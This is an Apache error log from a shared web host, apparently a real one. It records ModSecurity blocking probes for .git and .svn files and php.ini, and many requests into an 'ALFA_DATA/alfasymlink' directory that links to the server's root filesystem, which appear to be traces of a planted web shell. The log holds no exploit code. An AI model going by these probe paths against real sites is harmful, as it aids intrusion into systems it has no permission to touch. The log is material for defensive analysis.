[Tue Oct 27 08:47:50.162558 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 100.29.128.75:34072] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:58.150619 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 18.232.12.157:22020] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:06.401009 2026] [ssl:error] [pid 3219292:tid 3219292] (5)Input/output error: [client 3.235.215.92:45625] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:10.155408 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.204.81.148:61840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:18.165627 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 52.54.95.127:5419] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:22.333856 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 107.20.255.194:25369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:27.789938 2026] [core:error] [pid 3230467:tid 3230467] (13)Permission denied: [client 85.208.96.199:19620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/subsystem/uevent
[Tue Oct 27 08:48:34.284252 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.213.102.186:65024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:48:35.056080 2026] [security2:error] [pid 3233595:tid 3233595] [client 172.86.119.188:47152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCdo7mZ7VoTwYSWFNMQ-AAAAAQ"], referer: http://agent.sherwinpinturas.com/.git/config
[Tue Oct 27 08:48:35.056387 2026] [security2:error] [pid 3233595:tid 3233595] [client 172.86.119.188:47152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCdo7mZ7VoTwYSWFNMQ-AAAAAQ"], referer: http://agent.sherwinpinturas.com/.git/config
[Tue Oct 27 08:48:35.056652 2026] [security2:error] [pid 3233595:tid 3233595] [client 172.86.119.188:47152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCdo7mZ7VoTwYSWFNMQ-AAAAAQ"], referer: http://agent.sherwinpinturas.com/.git/config
[Tue Oct 27 08:48:46.398120 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 3.218.103.254:49367] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:49:14.169029 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 50.16.248.61:24670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:49:26.163966 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 18.207.89.138:48457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:49:30.169844 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 23.23.99.55:61502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:49:38.181432 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 100.28.44.58:18104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:49:46.154626 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 44.216.172.204:55926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:10.156241 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.204.62.163:24274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:14.174393 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 18.211.148.239:42225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:22.140863 2026] [ssl:error] [pid 3220898:tid 3220898] (5)Input/output error: [client 54.83.56.1:56630] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:26.147142 2026] [ssl:error] [pid 3233595:tid 3233595] (5)Input/output error: [client 54.225.181.161:29539] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:30.147958 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 3.215.221.125:44813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:42.155856 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.235.215.92:19041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:46.142928 2026] [ssl:error] [pid 3219292:tid 3219292] (5)Input/output error: [client 184.73.167.217:14600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:50.152614 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 50.17.193.48:6195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:50:54.158334 2026] [core:error] [pid 3233596:tid 3233596] (13)Permission denied: [client 3.89.176.255:19533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/serio_raw/unbind
[Tue Oct 27 08:51:06.272950 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 54.159.98.248:36247] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:51:10.150205 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.233.24.238:1639] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:51:26.159653 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 3.93.211.16:31381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:51:30.246077 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 50.19.221.48:17592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:51:38.252406 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 34.231.45.47:7330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:51:50.156928 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 184.73.239.35:46521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:02.184024 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 52.6.5.24:48981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:06.155514 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 18.205.127.11:26594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:10.130883 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.220.70.171:19725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:18.326040 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.73.142.41:45785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:32.394053 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 185.191.171.19:26614] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:33.582571 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 85.208.96.202:14254] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:34.134847 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 3.210.29.96:45222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory2/subsystem/drivers_probe
[Tue Oct 27 08:52:46.130167 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.212.86.97:10187] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:52:54.172294 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 34.231.156.59:14568] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:10.150063 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.94.156.104:30571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:12.496556 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 85.208.96.194:21110] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:14.140012 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.224.104.67:31079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:18.137320 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 35.171.141.42:62875] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:30.429361 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 54.225.181.161:20551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:46.304128 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 44.205.180.155:62280] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:50.159320 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 98.83.177.42:56147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:53:58.129329 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 3.210.114.189:60955] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:06.117065 2026] [security2:error] [pid 3233612:tid 3233612] [client 105.156.19.236:46942] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2"] [unique_id "auCe7lM_FuE1vMFqaX9gZAAAABE"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:54:08.999474 2026] [security2:error] [pid 3219292:tid 3219292] [client 191.6.42.42:13500] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2/"] [unique_id "auCe8G_oZ855J3-bmxEq1wAAAAY"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:54:09.001073 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 191.6.42.42:13500] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini, referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:54:14.183454 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.204.62.163:58689] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:22.143753 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.213.102.186:35700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:26.139786 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 23.23.103.31:9294] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:28.810582 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 195.178.110.53:31802] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 08:54:30.139639 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 3.221.156.96:53855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:32.793964 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 195.178.110.53:31802] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 08:54:34.290767 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 44.213.36.21:21948] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:36.113352 2026] [security2:error] [pid 3233597:tid 3233597] [client 195.178.110.53:17512] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auCfDBXV2BaOmFjTGjprbAAAAAs"]
[Tue Oct 27 08:54:36.113413 2026] [security2:error] [pid 3233597:tid 3233597] [client 195.178.110.53:17512] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auCfDBXV2BaOmFjTGjprbAAAAAs"]
[Tue Oct 27 08:54:36.248693 2026] [authz_core:error] [pid 3233595:tid 3233595] [client 195.178.110.53:17518] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 08:54:38.139144 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 18.213.70.100:64337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/serio_raw/uevent
[Tue Oct 27 08:54:40.795555 2026] [authz_core:error] [pid 3233595:tid 3233595] [client 195.178.110.53:17518] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 08:54:42.335656 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.70.123.241:26579] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:46.204507 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 3.94.157.25:45703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:54:50.354029 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 44.215.210.112:63267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/remove
[Tue Oct 27 08:54:54.133228 2026] [ssl:error] [pid 3233596:tid 3233596] (5)Input/output error: [client 34.239.197.197:36266] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:14.127286 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.4.229.9:51040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:18.155587 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 54.84.93.8:2043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:26.140541 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 35.173.18.61:63656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:34.145027 2026] [core:error] [pid 3233612:tid 3233612] (13)Permission denied: [client 34.194.165.45:24623] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0303:00/physical_node1/subsystem/uevent
[Tue Oct 27 08:55:38.346906 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.225.199.17:52104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:42.328439 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.23.112.144:35820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:54.136769 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.80.73.122:50428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:55:58.144680 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 34.225.138.57:64953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:02.184320 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 35.169.119.108:17553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:14.131451 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.84.147.79:44962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:29.474450 2026] [core:error] [pid 3233596:tid 3233596] (13)Permission denied: [client 85.208.96.201:37164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/order
[Tue Oct 27 08:56:30.141763 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.235.172.108:32717] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:34.301430 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.84.102.81:23453] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:46.176437 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.73.6.26:48656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:56:54.133191 2026] [ssl:error] [pid 3233619:tid 3233619] (5)Input/output error: [client 54.152.163.42:53361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:57:06.142553 2026] [ssl:error] [pid 3219292:tid 3219292] (5)Input/output error: [client 54.83.56.1:7846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:57:10.137492 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.3.155.146:47144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:57:11.252129 2026] [authz_core:error] [pid 3233595:tid 3233595] [client 34.198.189.65:28077] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:57:13.088500 2026] [core:error] [pid 3233597:tid 3233597] (13)Permission denied: [client 185.191.171.12:14692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/align
[Tue Oct 27 08:57:13.314574 2026] [authz_core:error] [pid 3230467:tid 3230467] [client 23.22.243.211:15298] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:57:34.262999 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.84.169.196:23452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:57:50.249939 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 18.207.79.144:13618] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:18.401319 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 50.16.72.185:50976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:22.247008 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 35.171.117.160:38554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:26.155606 2026] [core:error] [pid 3233597:tid 3233597] (13)Permission denied: [client 54.80.185.200:61098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:05.0/resource4
[Tue Oct 27 08:58:28.804191 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 185.191.171.3:49146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/free_calls
[Tue Oct 27 08:58:34.181145 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.209.201.119:12970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:36.464733 2026] [security2:error] [pid 3233612:tid 3233612] [client 197.254.79.85:37312] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2"] [unique_id "auCf_FM_FuE1vMFqaX9ghQAAABE"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:58:38.166350 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.1.106.130:62670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:38.915978 2026] [security2:error] [pid 3233595:tid 3233595] [client 181.23.100.80:47328] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2/"] [unique_id "auCf_rmZ7VoTwYSWFNMRJQAAAAQ"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:58:38.918182 2026] [authz_core:error] [pid 3233595:tid 3233595] [client 181.23.100.80:47328] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini, referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:58:38.981199 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.208.96.198:13338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/xml/dom/pulldom.py"] [unique_id "auCf_m_oZ855J3-bmxEq-AAAAAY"]
[Tue Oct 27 08:58:38.981238 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.208.96.198:13338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/xml/dom/pulldom.py"] [unique_id "auCf_m_oZ855J3-bmxEq-AAAAAY"]
[Tue Oct 27 08:58:46.161597 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 34.225.243.131:51115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:58:58.214195 2026] [ssl:error] [pid 3209603:tid 3209603] (5)Input/output error: [client 44.218.6.93:1501] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:02.175300 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 34.196.6.199:14557] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:14.278829 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.203.68.145:54765] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:18.194499 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 98.83.10.183:18167] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:34.241108 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.222.85.38:13267] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:38.339041 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 34.194.95.99:11472] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:59:54.310293 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 54.243.63.52:33733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu1/subsystem/drivers_probe
[Tue Oct 27 09:00:06.403608 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 184.73.195.18:40428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:00:18.407573 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.208.156.9:7420] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:00:30.520356 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 18.210.58.238:61663] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:00:34.101853 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.19:52658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/remote_node_defrag_ratio
[Tue Oct 27 09:00:42.684256 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.204.81.148:21302] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:00:54.412682 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.16:37346] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "auCghj4THoroSjopRdUBGAAAAAE"]
[Tue Oct 27 09:00:54.412893 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.16:37346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "auCghj4THoroSjopRdUBGAAAAAE"]
[Tue Oct 27 09:00:54.413221 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.16:37346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "auCghj4THoroSjopRdUBGAAAAAE"]
[Tue Oct 27 09:00:54.477298 2026] [authz_core:error] [pid 3233596:tid 3233596] [client 20.194.0.112:4362] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
